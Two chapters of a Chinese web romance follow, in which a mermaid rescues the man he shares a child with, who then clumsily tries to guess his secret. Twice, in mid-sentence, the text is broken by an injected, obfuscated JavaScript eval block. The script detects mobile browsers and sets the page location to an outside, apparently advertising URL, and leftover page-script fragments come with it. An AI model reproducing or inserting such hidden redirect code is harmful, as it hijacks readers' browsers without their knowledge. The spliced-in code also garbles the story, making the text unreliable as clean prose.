方才心急如焚,宫砚的救生衣是挂在肩膀上的,这下猝不及防翻在海里,手臂在撞击中几乎麻痹,连抬起来去扣紧都很困难。 他呛了几口水,氧气越发稀少,耳边只有呼啸的浪涛。 在大海面前,人类像一只渺小的蝼蚁,只能随海浪腾挪翻涌。 就在宫砚再一次被海水淹没之际,一道温柔的力量将他抱进了怀里。那么安稳,那么牢固。那味道,他很是熟悉,以前总觉得有点幽深妖异,此刻却蕴含着巨大的幸福气息。 宫砚感到腰部缠上湿润滑腻的触感,有什么尾鳍似的轻如蝉翼的东西绕在他皮肤上,痒痒的。 20.第 20 章 海底,姿音分别演示了各种工具的用法,将位置给闪电让了出来。 只剩下一丁点光阴,太阳便要彻底落幕。姿音留出这一点时间来,想要去拜访旧神风暴,感谢他这段时间对崽崽和自己的帮助。 闪电挥舞分别握着剪刀、小锤、老虎钳的触手,像是忙碌的超级理发师:“咕噜咕噜咕噜。” “旧神大人不在吗?”姿音说,“你也不知道他去了哪里?那好吧,我下次再去。” 他依依不舍地挥别闪电和邻居们,漂亮有力的鱼尾摆动,向海面冲刺。姿音柔软的黑发海藻般飞舞,薄唇轻启,人鱼声波通过水流传播至整片海域。 定位到游轮的位置,姿音调整了下方向,极速前进。 离海面还有千百米距离时,姿音敏锐地察觉出偏东方水流的急促,反射的回波告知他那里似乎有人类的踪迹。 姿音迅速侧身,很快看到海面上,一搜小艇倾翻,在激浪中如叶片般晃荡。 人类的声音在波涛呼啸中何其不可闻,可姿音还是听到了。 是自己的名字。 是宫砚的声线。 姿音冲了过去,把那个无助的人类抱进怀里。 宫砚觉得自己腰部缠上滑腻的一条东西,缠上后骤然收紧,很有力。脸侧柔软的手臂,那股浓郁的香气,此刻带着莫大幸福的力量,一瞬间,宫砚觉得身边的海浪蓦然消停止缓。 他在海面上浮浮沉沉,灌了不少水,此时鼻腔和大脑中呛痛,眼睛根本睁不开,只凭下意识搂紧来人。 宫砚摸到柔软丝滑,微凉的,如丝绸般细腻的神奇触感。 因为缺氧,他意识朦胧,努力将眼睛眯开一条缝隙。恍惚间,看到一张月光般洁白的面颊,周边的夜波光粼粼,反射出一片淡粉色的光晕。 宫砚再次醒来,已经躺在了游轮的甲板上。 这时他因为大脑缺氧,还不是十分清醒,双眼阖着,只恢复了部分听觉。 船长、安保和服务人员焦急地围在大老板身边,跟船的医生检查了宫砚的情况后,示意无碍。 “为什么还不醒呢?”姿音摸了摸宫砚的额头,表情关切。 医生正要说休息片刻自然会醒。 萧历这时贼眉鼠眼,朝医生打个眼色,坏心眼地说:“嫂子,快做人工呼吸啊!” 姿音茫然地眨了下眼睛。 萧历解释:“溺水的人缺氧,一定是因为这个才不醒。你快嘴对嘴,渡两口气。” 萧历作起怪来演技超群,语气着慌,火烧火燎似的,唬得姿音连忙点头,俯下身去,鼻尖蹭着宫砚的鼻尖时,又抿了抿唇瓣,犹豫起来。 萧历煽风点火:“再晚就来不及了!” 姿音闭上眼睛,睫毛颤得厉害,蜻蜓点水般在宫砚唇上碰了一下,而后按住宫砚嘴角,轻轻吹了两口气。 躺在甲板上,昏迷中的宫砚的脸,肉眼可见地变成了另一种颜色。 从脸延伸至脖子,统统涨得通红。 “呀!”姿音惊喜地叫出来,“他醒了!”像照顾小孩子似的,拿手掌轻柔地在宫砚的胸膛上抚。 心想,原来人类亲一亲,吹口气就可以醒过来。 宫砚满面涨红,猛地坐起身来,握住姿音给自己顺气的手。萧历在一旁不怀好意地偷笑。宫砚看着姿音的眼睛,怔怔地,像第一次见这个人,偷偷回味青涩的,纯情的吻。 姿音这才想起来害羞,倏然把睫毛垂下去,想挣一挣被宫砚握在掌心里的手,却没挣开,两团粉晕悄悄爬上脸颊。 宫砚问:“刚刚在海里,是你吗?” 姿音装傻:“不是呀,我没有下船。”方才救宫砚的时候,他露出了鱼尾,不确定宫砚有没有注意到,索性直接否认。 “我一直在船上的卫生间里。”姿音说。 萧历道:“你让浪花拍晕了?我们乘救生船找到你的时候,就你一个人躺在快艇里。” 出现幻觉了?宫砚蹙眉,一旦试图回想,脑袋里便如斧凿一般疼痛。当时,他确实是被浪给拍得头脑巨颤,导致现在还有点迷迷糊糊的,视线不清明。 萧历看热闹不嫌事大:“呦呵,该不会你是被什么漂亮美人鱼给救上船的吧?” 姿音就在这里,宫砚可不会允许姿音听到什么暧昧的美人鱼和人类相爱的故事,立刻道:“胡说!”他试图自己站起来,另一只手掌压在甲板上,猝然一阵钻心的麻痹,额上浮起一层冷汗。 “怎么了?”姿音问。 小艇倾翻时,宫砚的手肘撞到了船壳上,医生判断可能是关节脱位,建议去医院里全面检查。 游轮于是调转方向,朝岸上驶去。到了码头,一行人直接去了中心医院。宫砚身体不是一般的强健,似乎骨头都比常人硬些,那一狠力撞击,居然也只是肌肉软组织损伤,右手臂挂上了悬挂绷带。 至于脑袋,有点轻微脑震荡,不要走动,留院观察一晚,如果没有什么状况,第二日便可离院。 宫砚就这样暂时住进了单人病房,他对自己的伤倒没多大在意,放在平时,早离开医院了。只不过现在姿音在旁边,而他,因为姿音那一个香香软软的吻,现在还神魂颠倒,恍如梦境,稀里糊涂地就答应住院了。 姿音从萧历口中得知,宫砚是为了去救自己,才发生意外。对宫砚十分过意不去,暗中想,一定要照顾好宫砚。 “你晚上想吃什么?我给你买。” 病房里,只剩这一家三口,姿音把鱼崽放到宫砚身边坐着玩玩具。 宫砚仿佛没听见似的,一双眼睛只管盯在姿音身上。往日他会收敛很多,今天却直把姿音看得发毛。 姿音坐也不是,站也不是,好尴尬。 宫砚突然问:“那是你初吻吗?”姿音手指绞来绞去,脸上热热的,实在顶不住宫砚那直锐的视线,点了点头。 宫砚笑了,痴痴地说:“嘿嘿,我也是。” “那是为了让你醒过来……”姿音嘟哝解释说,他不想再谈这个话题,问宫砚:“你到底要吃什么?” 宫砚望着他笑:“都行。”姿音肩膀颤了一下,慌忙从病房里跑走了。 宫砚低头瞅着小崽笑,鱼崽啪叽一爪子打在他脸上,把他打清醒几分。宫砚叫来医生,问:“我溺水晕倒之前,好像看到个人,但现在有点想不起来了。” 医生道:“不要急,等你恢复恢复,也许就记起来了。” 不一会儿,姿音回来了,他买了清淡的白粥和鸡蛋羹。因为手肘悬挂绑带不方便,宫砚全程享受了姿音的喂食服务。 每吃一口,他嘴角的甜蜜就要上升一分。 姿音照顾人很细心,还会帮他吹一吹蛋羹,再温柔地喂到嘴边。宫砚觉得自己这次真是捡了个大便宜! 吃过晚饭,两人在房间里陪鱼崽玩拍手游戏,鱼崽玩不好,拍得乱七八糟,但有爸爸妈咪一起陪玩,非常高兴,往姿音手掌上一拍,往宫砚手指上一拍,嘎嘎嘎嘎嘎笑。 突然,病房的门被推开了。 宫爸宫妈急匆匆赶来,猝不及防跟姿音撞了个正面。病房里一阵安静。 宫妈瞅瞅宫砚,瞅瞅姿音,再瞅瞅明显融合了两人长相的宝贝小鱼崽。宫妈瞪大眼睛,心里咆哮。 宫妈挤出一个得体的笑容,热情道:“你好,我是宫砚的母亲。” 姿音赶紧站起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14982914|160981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身,腼腆地说:“您好。”朝宫爸微微点头,礼貌说:“您好。” 二老坐下来,宫妈首先狠瞪了宫砚一眼,而后才温和地问姿音:“他是个皮厚实的,不要紧。孩子,倒是你有没有受伤?” 姿音摇了摇头,说:“他是为了我受的伤,我会照顾好他的。” 宫妈宫爸互看一眼,欣慰地点点头。宫砚在一旁,也欣慰地点点头。宫妈发现今晚宫砚的表情很诡异,平日里那个从容淡漠的工作狂哪去了?怎么一脸痴醉相。丢人。 宫妈觉得不便久留,又说了一会儿话,也就准备走了。 她睨了眼宫砚,宫砚还盯着姿音一个劲傻乐呢。“一个受伤,一个要照顾伤者,不如今晚我们带着小鱼崽?”宫妈提议。 姿音心想,今晚最好再让崽崽和爸爸分离一晚。 只是这样的话,宫砚一定会不乐意,不如就让崽崽奶奶正大光明地带走,这样谁也没有意见。 姿音说好,姿音的意见就是宫砚的意见,宫妈宫爸很欣喜地把宝贝孙子接走了。 这下病房里就剩下两个人了,姿音洗了热毛巾,来给宫砚擦脸,宫砚有点诚惶诚恐,问姿音:“你还洗澡吗?” 姿音经常就要泡在浴室里,宫砚不确定这里能不能满足姿音的需求。 “不用。”姿音说,他今天在海里已经泡过了,“你早点睡觉吧。” 宫砚拉住他的手腕:“你呢?”姿音指了指旁边的陪护床:“我睡这里。”宫砚坚决不同意,“那张床太窄了,夜里翻身掉下来怎么办?这个床大,你过来跟我睡。” 好说歹说,把姿音哄上了床。 关了灯,两人轻悄悄地说话,宫砚问:“我今天找你的时候,你在浴室里泡澡吗?” 其实那时候姿音正在海底给鱼儿们刷背,硬着头皮答说:“……嗯。” “但你房间里没人。”宫砚说。 姿音:“我、我走错了,那里房间很多的。”这倒是真的。他怕宫砚再问出什么,漏了馅,赶紧闭上眼睛,把被子一拉:“我睡觉了。” 宫砚忽然把他的手抓住,就着窗外的月光,放在眼前看。 姿音手指上有一道指节长的伤口,那是救宫砚的时候在船边钩了一下划伤的。宫砚表情严峻,打开灯,叫护士带着医疗箱过来。 “给他消毒,清理包扎一下。”宫砚握着姿音的手指,浓眉紧蹙。 护士用生理盐水清洗伤口,消毒后准备用纱布包扎,宫砚道:“这是在海边受的伤,还是多消毒几遍。”他确定,登船之前,姿音的手指没有这道伤口。 护士照他说的多次消毒,而后包扎,拎着医疗箱走了。 明明就是个小伤口,姿音看着宫砚紧张兮兮的脸,勾了勾裹着纱布的指尖:“说不定明天就好了。”宫砚握住他指尖,在唇边亲了亲。 他一搞亲密动作,就进入了姿音的知识盲区,姿音只能继续装起缩头乌龟:“好困啊,我睡了。” 很快,他脑袋往宫砚肩膀上一垂,宫砚就知道他睡着了。宫砚握着他的手,趁姿音睡着,偷偷地十指相扣,再拿起两人交握的手,满意地看了看。 忽然,宫砚心虚地斜眼扫了扫姿音的脸,超绝美丽容颜熟睡中。 千载难逢的好机会。 宫砚在床头柜的抽屉里翻了翻,翻出一个新包装的指甲剪。 做贼似的,宫砚轻轻剪下姿音干净整齐的指甲一角,只见掌心中白白的一点,飞快化为泡沫,最后完全消失。 宫砚:…… 没跑了,这下铁证如山。 姿音和小崽一样。 好耶,他和姿音和小崽真的是亲亲的一家三口! 21.第 21 章 翌日一早,姿音轻手轻脚从床上下来,洗漱后,离开了病房去楼下买早餐。 宫砚因为受伤,睡眠时间长一点,还没醒。 下到一楼,后面突然有人拍了下姿音的肩膀,姿音扭过脸去看,那人却出现在他肩膀另一侧。 姿音一见这人就笑了,惊喜道:“你怎么在这儿?”想到这里是医院,神情带了些担忧,“你生病了吗?” 江溪跨前一步,和姿音并肩走:“没,来复诊的。说来也奇怪,这段时间经常跟你说说话,我的偏头疼忽然就好了很多。医生也觉得很神奇。” 人鱼歌声有治愈的效果,但姿音不知道,原来对人类也同样有用。 “那我以后经常给你唱歌听。”姿音说。 江溪问起他在医院的缘由,姿音说崽崽的爸爸受伤住院了,江溪道:“他还缠着你吗?” 姿音想了想,摇头说没有。江溪问姿音吃早饭没有,要请他一起吃。 “我来请你吧。”姿音笑着说,如果不是江溪的方法,他现在面对宫砚还惭愧得抬不起头呢。江溪是很爽快的人,没争辩什么,两个好朋友欢欢喜喜地挽着手臂去附近的早餐店吃饭。 萧历一大早来医院探病。昨晚送宫砚到医院后,夜色沉沉,好兄弟和嫂子在温暖的病房里眉来眼去,你侬我侬的,他岂有不赶紧撤的道理? 从后备箱拎出好些保健品,萧历路过店铺,大步朝医院正门去。 等跨进医院大门,萧历脚步忽地一顿,等等?刚刚那是……嫂子? 萧历后退,再后退,在早餐店玻璃橱窗的角落停下,朝里头张望。只见姿音和另一人对立而坐,一边吃饭,一边有说有笑,而又有一定距离,看上去像是关系十分融洽的朋友。 萧历眯细了眼,定睛一瞧,嫂子对面那人,不正是江溪吗? 江溪是本市食品行业巨头家的小公子,萧历在交际应酬场上见过,碰过几杯酒,所以认得。 看着姿音和江溪不知聊到什么,笑弯了眼睛,萧历心头疑惑,悄默默地溜了。一进病房门,首先把刚才见到的一幕报给了宫砚。 宫砚已经醒了,听到萧历说到“江溪”这个名字,心里头咯噔一下。 上一次提到这个人,姿音没过两天就带着小崽离开了,不知道这次又会掀起什么风波。虽然他上次已经解释清楚了,但众所周知姿音爱他爱得太深,万一醋劲大…… 萧历接着道:“不太对劲,嫂子怎么会认识你相亲对象?而且他俩看起来玩得很好,说说笑笑的。” 宫砚心里刚刚翻腾起的古早狗血吃醋戏码忽然来了个急刹车,脑中电闪雷鸣、爱恨纠葛的命运bgm突然换成了一片花香鸟鸣、love & peace。 “……啊?姿音没有不高兴?” 萧历说:“对啊,嫂子笑得可开心呢。” 嘶……宫砚觉得奇怪。姿音不是吃醋吗,怎么变成了好朋友…… 宫砚模模糊糊觉得自己似乎误会了什么挺重要的东西,虽然没想明白,但下意识心浮地问了一嘴。 “你也觉得姿音很喜欢我吧?他看我的眼神,跟看别人,完全不一样。” 萧历:“……” 嗯,确实不一样,毕竟你老腆着脸贴上去,嫂子看你像看条傻大狗。 萧历不忍伤害好兄弟一颗纯情处男心,硬是死命憋着笑,绷紧着脸,沉重点了点头。 宫砚如服下一碗熨帖的良药,放下心来。不过姿音这人一片冰心,宫砚怕他遭人骗,想着回去找游泳馆经理问个清楚。 “什么相亲对象?” 宫砚哄好自己,回过头来,开始找萧历的事,一张俊脸冷硬硬的,“匆匆见过一面而已。你少在姿音面前胡说八道,他会信以为真。” “还有昨天说的那什么漂亮美人鱼,他心地纯净,什么都信!” 萧历也就是嘴贱,一抬手:“小的得令,不敢污您清白。嫂子跟您这么恩爱,一定百年好合!”宫砚脸色这才缓缓恢复。 这话说得中听。 “再说两句听听。”宫砚朝萧历抬下巴。 萧历:……好似。 留院的一晚宫砚没出现任何症状,等姿音买了早饭回来,吃过早饭,两人就回家了。虽然很想和姿音继续待在一起,但宫砚也不忍心真的把姿音困在身边。 所以下午的时候,姿音去上了半天的班,宫砚在书房里吊着一条手臂处理工作。 还抽空回了趟老宅,把小鱼崽接了回来。 宫砚问:“跟爷爷奶奶玩得开心不开心?” 鱼崽黑亮亮的眼睛笑:“耶~呐呐~玩!”宫砚揉揉鱼崽的头发,这乌黑的眉眼,这密匝匝两圈的长睫毛,怎么看,怎么是遗传了姿音。 鱼崽崽很好奇爸爸的手臂,小胖爪摸摸白乎乎的绷带:“叭?” 趴上去嗅一嗅,啃一啃,拍一拍。 老父亲宫砚眼含慈爱地看着小鱼崽。 下一秒,小鱼崽把一条小胳膊放在肚子上,一动不动,眼睛一挤,嘴里“呜呜”两声,痛痛的样子。 宫砚:“……” 宫砚:孩儿好像有点太聪明了。 一回到家,鱼崽就给妈咪表演这招。一对浓黑的小眉头皱在一起,嘴巴撇撇,一边呜呜,一边用萝卜指头点点自己动不了的那条小胳膊,让妈咪注意看。 果真把姿音逗得咯咯笑半天。 “崽崽,爸爸的胳膊很痛,很可怜的。”姿音笑够了,捏捏小鱼崽的脸蛋,“要不要亲一亲爸爸呢?” 鱼崽点头。宫砚早在一边等着了,闻言把脸凑到小鱼崽嘴边,小鱼崽捧住爸爸的脸,糊了爸爸一脸口水。 姿音笑眯眯地瞧着这一幕。 宫砚忽然脸皮厚了很多,低着脑袋,把另一侧脸送到姿音面前。姿音眨了眨眼睛,明白过来,是让自己也亲一下的意思,脸颊顿时透出美丽的淡红。 他用指尖,把宫砚的脸轻轻推开了。 宫砚见好就收,试探着问:“今天我能陪着崽崽睡觉吗?” 姿音抬眼,宫砚吊着手臂,微微地笑着,眼神像个不太勇敢的孩子。他觉得宫砚这样很可怜。经过这几天的刻意控制,崽崽的症状已经有所缓解,可以循序渐进地再吸收一点爸爸的信息素了。 “可以。”姿音柔声说。 宫砚几乎是愣了片刻,根本没想到姿音就这样轻易答应了自己,确认了好几遍。 姿音让他陪崽崽睡觉,姿音原谅他了! 宫砚按捺不住蹬鼻子上脸,又问:“万一崽崽夜里发烧……要不你也跟我们一起睡吧……”姿音再次点了点头,同意了。 宫砚恨不得在家里上蹿下跳,敲锣打鼓,载歌载舞! 晚上,他洗得干干净净躺在床上,一扭头,温软甜润的姿音,再一扭头,可爱乖巧的崽崽。 真想一辈子这样扭下去…… 宫砚轻拍崽崽的背,哄崽睡觉,每到这时,姿音总抵抗不了那规律的拍拍声,薄薄的眼皮很快阖上。宫砚把他的脑袋轻轻搁在自己肩膀上,姿音脸颊无意识蹭了蹭宫砚,更深地熟睡了。 小两口感情这么好,什么时候去结婚呢?宫砚开始幻想时间。 姿音和小崽都这么喜欢大海,结婚地点定在海岛好了…… 不知道姿音那边亲戚多不多…… 一夜美梦,宫砚铁打筋骨似的,恢复速度非常人可比。一醒来,大脑即刻清醒,他想起来了,船翻昏迷之前,他确实看到了一个人。 那股香气,那个柔软的怀抱,那张朦胧洁白的面颊。 是姿音,错不了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14992393|160981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姿音救了他。 宫砚转头,姿音睡得恬静,脸蛋白皙,乌黑发丝勾在长睫毛上,让宫砚轻轻扫去了。 姿音为什么不承认。 他想隐瞒什么?非人身份? 新的一天,姿音照常上班,而宫砚因为行动不便留在家里带崽。也好,姿音不在,他可以聚精会神地仔细想一想这件事。 对于姿音和小崽的非人身份,他当然早就有所想法,姿音笨笨的,掩饰不住这其中的诸多古怪。 宫砚一开始想过,姿音这样善良的性格,这样圣洁的一张脸,难不成是天使下凡? 那崽崽是个小天使宝宝? 有道理。所以溺水当天,姿音说不定就是展开大翅膀飞过来的。否则这么凶狠的海浪,姿音身形柔弱,怎么能做到将他如此体格高大的一个成年男人救上船呢? 可按照幻想书里写的,主角家中总会发现一些可疑的痕迹,比如,天使羽毛。 宫砚从未在家中捡到过羽毛。 这时,鱼崽把小球塞到宫砚手里,宫砚控制力道丢小球,鱼崽嘎嘎笑着爬去捡回来。 嗯……宫砚也看过一些精怪电视剧,其实如果单纯论长相,姿音的脸型有点像小白狐狸,尖尖的,牙齿密小洁白,笑起来甜甜的有犬齿。 难道是狐狸? 那崽崽就是个人狐杂交崽? 而且动物天生都会游泳吧,姿音难道是用嘴叼着把他丢到船上的?那姿音修炼了多少年? 可他也没在家里捡到过狐狸毛。 没有毛的话……哦对,搞不好是披着人皮的高智慧外星人! 那崽崽就是基因克隆出来的外星生物崽? 如果是外星人,那姿音操纵一些高科技飞艇把自己救上来,可太简单了! 但姿音好像不会开车欸,那还能开飞船吗? 机器人!这个对,这个对了。姿音的脸太完美无暇了,人类就不会长出那样一张美丽清纯的面孔。 那崽崽是小机器人? 姿音和小崽会不会有开关? 下水不会出现电路问题吗?不不不,姿音肯定不是一般机器人,怎么说也是防水的。但总要充电的吧? 宫砚开始回想姿音和小崽什么时候背着自己充过电…… 因为萧历无意中公布过正确答案,而宫砚对此狠狠驳斥了一番,不想沾染关系!所以现在在相反的路上策马奔腾…… 想来想去,宫砚忽然又推翻了。 这些都是他的猜想,姿音和小崽的头发都揪不动,说不定他们天使或者狐狸压根不会掉毛。 说不定姿音就是会开飞船,不用充电。 思考无用,实践出真知。宫砚决定利用单纯无知的鱼崽测试一下,鱼崽忽然看到爸爸变成跟自己一样的东西,不可能没有一点反应。 宫砚找来白床单,在脖子上围了一圈当做圣洁的白袍。又耗费两个枕头粘了两只简易翅膀贴在身后。铁丝绕成环,绑在脖子上,挂在头顶。 “小崽,看我。”宫砚叫了一声,站在那里,露出圣父般和平的微笑。 “你要尽心、尽性、尽意爱你的主,你的上帝。阿门。” 鱼崽:“嘎嘎嘎嘎嘎嘎嘎!” 宫砚:“……” 看来不是这个。宫砚接着试。 狐狸?狐狸简单啊。白床单不用脱,当成白狐狸毛,宫砚把圆圆的铁环重新掰出两只狐狸耳朵,一戴,四肢往地上一趴。 “嗷嗷嗷——” 这时,大门猝不及防打开了。 姿音刚进门,就看到宫砚这个庞然大物四肢着地,仰着脖子粗吼一声,还大狗似的在手背上舔了一口。 姿音:“……” 宫砚:“……” 姿音:?